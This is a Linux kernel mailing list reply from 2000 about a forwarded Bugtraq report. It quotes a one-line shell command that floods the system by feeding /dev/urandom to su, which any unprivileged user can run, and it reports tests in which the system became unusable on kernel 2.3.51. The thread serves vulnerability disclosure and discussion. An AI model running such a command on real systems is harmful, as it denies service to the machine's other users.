Messages in this thread | | | Date | Sat, 25 Mar 2000 12:25:16 +0100 | From | Kurt Roeckx <> | Subject | Re: Local Linux Crash (fwd) |
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On Sat, Mar 25, 2000 at 07:23:12AM +0100, Mike Galbraith wrote: > On Fri, 24 Mar 2000, ADAM Sulmicki wrote: > > > FYI. > > > > I'm just messenger. > > I saw it on bugtraq and would pass it. > > Don't shoot me > > :-) > > > > ---------- Forwarded message ---------- > > Date: Fri, 24 Mar 2000 18:42:03 +0200 > > From: Javor Ninov <javor@multigroup-bg.com> > > To: BUGTRAQ@SECURITYFOCUS.COM > > Subject: Local Linux Crash > > > > Tested on SlackWare 7.0 2.2.14 > > After short time this will crash Linux box: > > su `cat /dev/urandom` > /dev/null |< su `cat /dev/urandom`& > > > > for a better efect start it several times :-)) > > This can be done be any regular user ! > > On 2.3.99x at least, this only acts as a resource hog. After setting > limits, bash grew steadily until... > > bash: xrealloc: cannot reallocate 4194304 bytes (0 bytes allocated) > > ...and then politely exited.
I started it 5 times, no limits. The first 3 did that too.
Then VM killed 1 bash, and then killed klogd every second, couldn't do a thing with the system anymore.
This was using 2.3.51
Kurt
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